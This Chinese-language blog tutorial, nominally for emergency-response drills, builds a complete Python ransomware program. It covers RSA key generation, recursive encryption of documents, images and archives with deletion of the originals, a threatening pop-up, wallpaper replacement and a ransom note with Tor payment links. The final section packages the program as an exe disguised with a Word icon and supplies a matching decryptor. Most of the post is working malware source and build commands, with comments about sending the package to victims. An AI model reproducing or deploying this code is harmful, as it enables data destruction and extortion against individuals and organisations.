一 简介

勒索病毒(Ransomware)确实是一种常见的网络攻击手段,它会通过加密受害者电脑上的数据来瘫痪受害者的系统,并以此勒索赎金。这种恶意软件的攻击对象可以是个人用户,也可以是企业、政府机构等。一旦数据被加密,除非支付赎金以获取解密密钥,否则这些数据将无法被正常访问。

随着互联网技术的发展和网络环境的日益复杂,网络安全问题越来越受到重视。不仅公司,包括政府和个人用户都在增强网络安全意识,采取各种措施来预防和应对勒索病毒等网络威胁。应急演练就经常遇到的一种,模拟真实的攻击场景,让团队成员在实际操作中应用应急预案,检验应对能力。

二 Python实现简易勒索病毒

生成用于加解密的公私钥

生成1024位 RSA公私钥 并保存为.pem,先在本地生成,将生成的公钥和加密程序一起打包发送给受害者即可

import rsa

# 生产1024位公私钥并保存为.pem 先在本地生成,将生成的公钥和加密程序一起打包发送到受害者即可
pub, priv = rsa.newkeys(1024)

pub = pub.save_pkcs1()
with open(f"./keys/pubkey.pem", mode="wb") as file:
file.write(pub)

priv = priv.save_pkcs1()
with open(f"./keys/privkey.pem", mode="wb") as file:
file.write(priv)

image.png

image.png

image.png

加密文件

1、定义要加密文件的类型

image.png

这块加密常见的几种文件类型,如下:

#预定义想要加密的文件后缀名,可以自己选择
target_list_str = ".txt .lnk .pdf .jpg .png .jpeg .doc .docx .xls .xlsx .ppt .pptx .zip .exe"

2、定义函数,实现加密过程

传入需要加密的文件名,调用RSA公钥,对文件内容进行加密。

删除原始文件,并将新生成加密后的文件命名为 .enc 的后缀

# 加密过程
def rsa_encrypt(filename):

if filename.split(".")[-1] in target_list:
with open("./pubkey.pem") as file: #加载RSA公钥,准备加密
pub = file.read()
pub = rsa.PublicKey.load_pkcs1(pub)
with open(filename, mode='rb') as file:
data = file.read()

# 删除原始文件
os.remove(filename)
res = []
for i in range(0, len(data), 117):
res.append(rsa.encrypt(data[i:i + 117], pub))
byte_data = b''.join(res)
byte_data = base64.b64encode(byte_data).decode()

filename = filename + ".enc" #加密后的文件后缀名改为.enc
with open(filename, mode='w') as file:
file.write(byte_data)

3、上面第二步实现的是对单个文件的加密,但一般勒索病毒,要加密实现的是全盘加密。

这块是应急演练使用,所以,一般是加密某个文件夹下的所有文件。这块就需要列出当前目录下的所有文件,循环使用rsa_encrypt函数实现文件加密

# 主要作用就是列出文件夹下所有文件,实现全文件加密
def encrypt(file_path):
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
file_name = os.path.join(file_path, file_name)
if os.path.isdir(file_name):
encrypt(file_name)
else:
rsa_encrypt(file_name)
else:
rsa_encrypt(file_path)

3、定义主函数main,实现对指定文件夹加密

if __name__ == "__main__":
target_list = []
for i in target_list_str.split("."):
target_list.append(i.strip())

encrypt("C:\\Users\\analysis\\Desktop\\test") #此处自定义想要加密的目录名称

首先创建一个测试文件夹test,里面存放一些常见的文件类型

image.png

执行脚本后,再次查看该文件夹。

image.png

image.png

到这儿,就已经实现了勒索病毒最重要的文件加密部分了。

脚本优化

这块的优化,主要作用是实现一些其他的功能,让它更像真的勒索病毒。

下面是几个点优化:

  • 加密文件名默认为勒索病毒所在文件夹(这块写死是为了后续打包成exe的时候方便)
  • 生成勒索信
  • 直接替换受害者桌面壁纸
  • 调用cmd弹窗,提示受害者”当前主机被勒索了”

指定文件夹

直接调用os,python获取当前文件夹即可:

import os

# 获取当前工作目录
current_directory = os.getcwd()
print("当前工作目录是:", current_directory)

所以,原代码可以修改为:

image.png

测试一下效果:

image.png

image.png

调用Windows弹窗

可以使用tkinter模块来实现一个简单的Windows弹窗

image.png

所以,可以修改原脚本代码为:

# 生成告警弹窗
def warnning():
# 初始化Tkinter
root = tk.Tk()
# 隐藏主窗口
root.withdraw()
# 弹出消息框
messagebox.showwarning("Warnning!!!", "抱歉,你的电脑已经被我们控制,里面部分文件已经被加密,如果想要恢复,请及时联系我们~")
# 关闭Tkinter
root.destroy()

image.png

image.png

替换桌面壁纸

import os
import win32gui, win32con

def set_wallpaper(image_path):
# SPI_SETDESKWALLPAPER = 20
# SPIF_UPDATEINIFILE = 0x01
# SPIF_SENDCHANGE = 0x02
# 返回值:如果函数调用成功,返回值非零;如果函数调用失败,返回值为零。
# 修改桌面背景
return win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER,
image_path,
win32con.SPIF_UPDATEINIFILE | win32con.SPIF_SENDCHANGE)

# 设置壁纸的路径
image_path = os.getcwd()+"\\background.jpg"
# print(image_path)

# 调用函数设置壁纸
set_wallpaper(image_path)

生成勒索信

import os

# 文件名
file_name = "extortion_Readme.txt"

# 要写入的内容
content = "---=== Welcome. Again ===---\n\n"\
"[+] What Happen? [+]\n"\
"Your files are encrypted and currently unavailable. You can check it all files on the system do not open properly.\n"\
"By the way, everything is possible to recover(restore), but you need to follow our instructions. Otherwise, you can't return your data (Never).\n\n"\
"[+] What guarantees? [+]"\
"Its just a business. We absolutely do not care you and your deals, except getting benefits. If we do not do our work and liabilities - \n"\
"nobody will not cooperate with us, Its not in our interests.\n"\
"To check the ability of returning files, you should go to our website. there you can decrypt one file and free. That isi our guarantee.\n"\
"If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the \n"\
"private key. In practice - time is much more valuable than money.\n\n"\
"[+] How to get access on website? [+]\n"\
"You have two ways:\n"\
"1) [Recommended] Using a Tor brower!\n"\
" a) Download and install Tor brower from this site: https://torproject.org\n"\
" b) open our website: http://aplwbzo468w90726424023846238690283.coion/CE2937HFJJK\n"\
"2) If Tor blocked in your country, try to use VPN! But you can use our secondary website. for this:\n"\
" a) Open your any brower (Chrome, Opera, IE, Edge)\n"\
" b) Open our secondary website: http://decryptor.cc/CE2937HFJJK\n\n"\
"Warnning secondary website can be blocked, thats why first variant much better and more available.\n"\
"When you open our website, put the follow data in the input form:\n"\
"Key:\n\r"

# 创建并写入文件
with open(file_name, 'w') as file:
file.write(content)

# 获取文件的绝对路径
file_path = os.path.abspath(file_name)

# 打开文件
os.startfile(file_path)

print(f"文件 '{file_name}' 已创建并写入内容,现在将打开该文件.")

image.png

这块生成的勒索信是 txt 格式的。然而txt格式是在被加密文件类型中的。这块就会造成冲突。

所以,需要修改前面的加密函数,将 “extortion_Readme.txt” 从加密文件中排除

# 主要作用就是列出文件夹下所有文件,实现全文件加密
def encrypt(file_path):
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
if file_name == "extortion_Readme.txt":
continue
file_name = os.path.join(file_path, file_name)
if os.path.isdir(file_name):
encrypt(file_name)
else:
rsa_encrypt(file_name)
else:
rsa_encrypt(file_path)

image.png

代码打包成exe

准备

首先准备一个icon,用来对生成的exe伪装(这块使用word文档图标)

img

pyinstaller将资源文件打包到exe中

(1)首先安装pyinstaller

pip install pyinstaller

(2)将资源文件打包进exe文件中

pyinstaller --add-data './res/pubkey.pem;res' --add-data './res/background.png;res' -i .\word.ico  -Fw .\encrypt.py
  • –add-data 加载资源文件
  • -i 加载图标文件
  • -F 加载脚本文件
  • w:执行文件时不显示控制台

同时这块要注意,确保在打包时正确引用这些资源文件。在 Python 代码中,通常使用相对路径来访问这些文件

#生成资源文件目录访问路径
def resource_path(relative_path):
if getattr(sys, 'frozen', False): #是否Bundle Resource
base_path = sys._MEIPASS
else:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)

image.png

报错解决

打包好之后,突然想起来,生成的文件是exe格式的,那么也就需要将该文件排除在被勒索文件外:

当将Python脚本打包成可执行的exe文件后,获取自身文件名的传统方法(如使用sys.argv[0])可能不再适用,因为打包后的exe文件可能不再直接通过Python解释器运行。

不过,可以使用os模块中的path函数来获取当前运行的exe文件的名称。

import os

# 获取当前运行的exe文件的路径
exe_path = os.path.abspath(sys.executable)

# 获取文件名
exe_name = os.path.basename(exe_path)

print(f"当前运行的exe文件名是:{exe_name}")

脚本文件代码修改为:

img

image.png

效果展示

image.png

最终代码

import rsa
import os
import base64
import tkinter as tk
from tkinter import messagebox
import win32gui, win32con
import sys

# 生产1024位公私钥并保存为.pem 先在本地生成,将生成的公钥和加密程序一起打包发送到受害者即可
# pub, priv = rsa.newkeys(1024)

# pub = pub.save_pkcs1()
# with open(f"./keys/pubkey.pem", mode="wb") as file:
# file.write(pub)

# priv = priv.save_pkcs1()
# with open(f"./keys/privkey.pem", mode="wb") as file:
# file.write(priv)

#预定义想要加密的文件后缀名,可以自己选择
target_list_str = ".txt .lnk .pdf .jpg .png .jpeg .doc .docx .xls .xlsx .ppt .pptx .zip .exe"

#生成资源文件目录访问路径
def resource_path(relative_path):
if getattr(sys, 'frozen', False): #是否Bundle Resource
base_path = sys._MEIPASS
else:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)


# 加密过程
def rsa_encrypt(filename):
pubkey_name = resource_path(os.path.join("res","pubkey.pem"))
if filename.split(".")[-1] in target_list:
with open(pubkey_name) as file: #加载RSA公钥,准备加密
pub = file.read()
pub = rsa.PublicKey.load_pkcs1(pub)
with open(filename, mode='rb') as file:
data = file.read()

# 删除原始文件
os.remove(filename)
res = []
for i in range(0, len(data), 117):
res.append(rsa.encrypt(data[i:i + 117], pub))
byte_data = b''.join(res)
byte_data = base64.b64encode(byte_data).decode()

filename = filename + ".enc" #加密后的文件后缀名改为.enc
with open(filename, mode='w') as file:
file.write(byte_data)


# 主要作用就是列出文件夹下所有文件,实现全文件加密
def encrypt(file_path):
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
# 定义排除加密的列表
if file_name == "extortion_Readme.txt" or file_name == "background.png":
continue
if file_name == exe_name:
continue
file_name = os.path.join(file_path, file_name)
if os.path.isdir(file_name):
encrypt(file_name)
else:
rsa_encrypt(file_name)
else:
rsa_encrypt(file_path)


# 生成告警弹窗
def warnning():
# 初始化Tkinter
root = tk.Tk()
# 隐藏主窗口
root.withdraw()
# 弹出消息框
messagebox.showwarning("Warnning!!!", "抱歉,你的电脑已经被我们控制,里面部分文件已经被加密,如果想要恢复,请及时联系我们~")
# 关闭Tkinter
root.destroy()

# 修改桌面背景
def set_wallpaper(image_path):
# SPI_SETDESKWALLPAPER = 20
# SPIF_UPDATEINIFILE = 0x01
# SPIF_SENDCHANGE = 0x02
# 返回值:如果函数调用成功,返回值非零;如果函数调用失败,返回值为零。
# 修改桌面背景
return win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER,
image_path,
win32con.SPIF_UPDATEINIFILE | win32con.SPIF_SENDCHANGE)

def write_letter():
file_name = "extortion_Readme.txt"
# 要写入的内容
content = "---=== Welcome. Again ===---\n\n"\
"[+] What Happen? [+]\n"\
"Your files are encrypted and currently unavailable. You can check it all files on the system do not open properly.\n"\
"By the way, everything is possible to recover(restore), but you need to follow our instructions. Otherwise, you can't return your data (Never).\n\n"\
"[+] What guarantees? [+]"\
"Its just a business. We absolutely do not care you and your deals, except getting benefits. If we do not do our work and liabilities - \n"\
"nobody will not cooperate with us, Its not in our interests.\n"\
"To check the ability of returning files, you should go to our website. there you can decrypt one file and free. That isi our guarantee.\n"\
"If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the \n"\
"private key. In practice - time is much more valuable than money.\n\n"\
"[+] How to get access on website? [+]\n"\
"You have two ways:\n"\
"1) [Recommended] Using a Tor brower!\n"\
" a) Download and install Tor brower from this site: https://torproject.org\n"\
" b) open our website: http://aplwbzo468w90726424023846238690283.coion/CE2937HFJJK\n"\
"2) If Tor blocked in your country, try to use VPN! But you can use our secondary website. for this:\n"\
" a) Open your any brower (Chrome, Opera, IE, Edge)\n"\
" b) Open our secondary website: http://decryptor.cc/CE2937HFJJK\n\n"\
"Warnning secondary website can be blocked, thats why first variant much better and more available.\n"\
"When you open our website, put the follow data in the input form:\n"\
"Key:\n\r"
# 创建并写入文件
with open(file_name, 'w') as file:
file.write(content)

# 获取文件的绝对路径
file_path = os.path.abspath(file_name)

# 打开文件
os.startfile(file_path)



if __name__ == "__main__":
# 获取当前运行的exe文件的路径
exe_path = os.path.abspath(sys.executable)
# 获取文件名
exe_name = os.path.basename(exe_path)

target_list = []
for i in target_list_str.split("."):
target_list.append(i.strip())
# print(target_list)
encrypt(os.getcwd()) #此处自定义想要加密的目录名称

# 设置壁纸的路径
image_path = resource_path(os.path.join("res","background.png"))
# print(image_path)

warnning() # 弹窗告警框
# 调用函数设置壁纸
set_wallpaper(image_path)
# 生成勒索信并打开
write_letter()

三、解密文件制作

相对于加密文件,这个就简单的多了。分为下面几个步骤:

1、调用私钥解密当前文件夹下所有.enc后缀的文件

2、和上面类似,将资源文件private.pem同脚本文件打包成exe

pyinstaller --add-data './des/privkey.pem;des' -Fw .\decrypt.py

解密代码如下

import base64
import os.path
import sys
import rsa
import tkinter as tk
from tkinter import messagebox


#预定义想要解密的文件后缀名,可以自己选择
target_list_str = ".txt .lnk .pdf .jpg .png .jpeg .doc .docx .xls .xlsx .ppt .pptx .zip .exe"


#生成资源文件目录访问路径
def resource_path(relative_path):
if getattr(sys, 'frozen', False): #是否Bundle Resource
base_path = sys._MEIPASS
else:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)

# 解密过程,当然如果当为攻击程序肯定不能发送到被害者服务器,此处是为了防止误操作将自己文件加密后的还原(或者确保受害者无法浏览到此代码也可一起发送)

def rsa_decrypt(file_name):
prikey_name = resource_path((os.path.join("des","privkey.pem")))
if file_name.split(".")[-2] in target_list:
with open(prikey_name, mode="rb") as file:
priv = file.read()
priv = rsa.PrivateKey.load_pkcs1(priv)
with open(file_name, mode='r') as file:
data = file.read()

data = base64.b64decode(data.encode())

res = []

for i in range(0, len(data), 128):
temp_plaintext = rsa.decrypt(data[i:i + 128], priv)
res.append(temp_plaintext)

last = b''.join(res)

#删除加密文件
os.remove(file_name)

with open(file_name.replace(".enc", ""), mode='wb') as file:
file.write(last)


def decrypt(file_path):
if os.path.isdir(file_path):
file_names = os.listdir(file_path)
for file_name in file_names:
file_name = os.path.join(file_path, file_name)
if os.path.isdir(file_name):
decrypt(file_name)
else:
rsa_decrypt(file_name)
else:
rsa_decrypt(file_path)


# 生成告警弹窗
def warnning():
# 初始化Tkinter
root = tk.Tk()
# 隐藏主窗口
root.withdraw()
# 弹出消息框
messagebox.showwarning("解密完成!!!")
# 关闭Tkinter
root.destroy()

if __name__ == "__main__":
target_list = []
for i in target_list_str.split("."):
target_list.append(i.strip())

decrypt(os.getcwd())#解密当前文件所在目录
warnning()

效果展示

image.png